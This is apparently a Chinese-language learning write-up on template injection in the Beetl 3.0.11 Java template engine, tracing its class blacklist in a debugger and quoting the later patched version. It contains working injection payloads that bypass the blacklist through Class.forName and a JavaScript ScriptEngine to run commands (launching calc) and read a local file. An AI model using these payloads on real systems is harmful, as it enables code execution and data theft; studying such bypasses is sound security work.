beetl 模板注入学习

依赖

测试使用的依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.ibeetl</groupId>
<artifactId>beetl</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
<dependency>
<groupId>org.antlr</groupId>
<artifactId>antlr4-runtime</artifactId>
<version>4.7.2</version>//需要的引擎
</dependency>

语法

主要还是参考官方文档

Beetl: Beetl3.0,模板引擎。从2010年开始研发开源 (gitee.com)

注意到这个

image-20240811145436145

任意方法调用

写一个demo看看是怎么阻止恶意方法调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example.beetl;

import org.beetl.core.GroupTemplate;
import org.beetl.core.Template;
import org.beetl.core.resource.StringTemplateResourceLoader;
import org.beetl.core.Configuration;

public class test {
public static void main(String[] args) throws Exception {
GroupTemplate groupTemplate = new GroupTemplate(new StringTemplateResourceLoader(), Configuration.defaultConfiguration());
String payload = "${@java.lang.Runtime.getRuntime().exec('calc')}";
Template template = groupTemplate.getTemplate(payload);
String output = template.render(); // 渲染输出
System.out.println(output);
}
}

image-20240811145551246

在template.render下断点 看看哪里进行了过滤

在template的renderTo方法里面 设置了context的上下文环境 设置了加载了一些共享变量 当不存在ajax 的时候 自动调用program.execute(ctx); 进行渲染

这里走到run方法

run方法里面遍历执行了每一个成员 走到execute 方法

在execute方法里面调用了expression.evaluate 方法计算成员的值

一系列计算之后 走到checkPermit 检测这个类是否可以加载

image-20240811153957148

然后再checkPermit 方法里面 调用了getNativeSecurity().permit 比较执行类

image-20240811154100846

permit 方法比较简单 就是获取类 然后直接比较class是否在黑名单里面

image-20240811154212526

黑名单很短 如下

1
2
3
4
5
6
if (pkgName.startsWith("java.lang")) {
if (className.equals("Runtime") || className.equals("Process") || className.equals("ProcessBuilder")
|| className.equals("System")) {
return false;
}
}

这里被检测出来了 然后就直接抛出错误 不执行下去了

过滤类很少 可以试着用ClassLoader的命令执行方式绕过一下试一下

1
@java.lang.ClassLoader.getSystemClassLoader().LoadClass('java.Lang.Runtime').getRuntime().exec('calc')

依然过不去

问题出现在这一步

image-20240812132243359

这里的经过递归 targetcls确实成功得到了我们需要的classloader

image-20240812132401400

可以注意到 在执行是

1
targetObj = ObjectUtil.invoke(targetObj, mf, args);

这里的targetObj 为null 执行时会调用反射 尝试去执行我们的方法

每次执行结束之后 会获取此时getclass的class类 储存在targetCls内 进入下一次执行

image-20240812132910535

后面寻找方法的ObjectMethodMatchConf mf = ObjectUtil.findMethod(targetCls, method, parameterType); 就是使用targetCls 寻找的 由于这个class不存在loadclass方法 所以显然不能找到这方法导致产生异常抛出

image-20240811161015714

模板注入

还是有办法绕过的

1
${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")}

调试下

首先获得的targetCls 的值是class 执行了forName 方法 通过反射获取这个类 然后尝试调用这个方法

image-20240812134156801

这里反射获取了这个方法 执行

image-20240812134241012

这里执行的结果 会返回给targetObj 也就是获取我们需要的类

image-20240812133816166

这个时候已经成功获取js这个执行类了 同时不在黑名单里面 这个时候就可以正常执行这个类了

成功命令执行 弹出计算器

image-20240812134531780

其中的调用栈如下

image-20240812134504063

网上的绕过手段很多 就不细搞了

反思

尝试使用ClassLoader 执行命令失败 是因为ClassLoader是一个抽象类

在这里调用getSystemClassLoader() 返回的对象类型是 ClassLoader,但实际的运行时类型通常是一个 ClassLoader 的具体实现类 这里返回了sun.misc.Launcher$AppClassLoader 使用这个类去尝试LoadClass 系统会提示找不到对应的方法 然后抛出

由于可以使用class#forname方法 意味着我们可以执行除了黑名单内的各种代码 例如文件读取

1
String payload = "${@Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var Files = java.nio.file.Files; var Paths = java.nio.file.Paths; var path = Paths.get('D:/1.txt'); var content = Files.readAllBytes(path); new java.lang.String(content);\")}";

image-20240812135126855

后续

修复了 大致流程不变 添加了很多黑名单 3.16.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean permit(Object resourceId, Class c, Object target, String method) {
if (c.isArray()) {
return true;
} else {
String name = c.getName();
String className = null;
String pkgName = null;
int i = name.lastIndexOf(46);
if (i == -1) {
return true;
} else {
pkgName = name.substring(0, i);
className = name.substring(i + 1);
if (pkgName.startsWith("java.lang.reflect")) {
return false;
} else if (!pkgName.startsWith("java.lang")) {
if (pkgName.startsWith("java.beans")) {
return false;
} else if (pkgName.startsWith("org.beetl")) {
return false;
} else if (pkgName.startsWith("javax.")) {
return false;
} else {
return !pkgName.startsWith("sun.");
}
} else {
return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");
}
}
}
}
}

但是又爆出来一个CVE-2024-22533 网上没现成的poc 我能力不足也分析不出来 就先放着 之后出来了在学习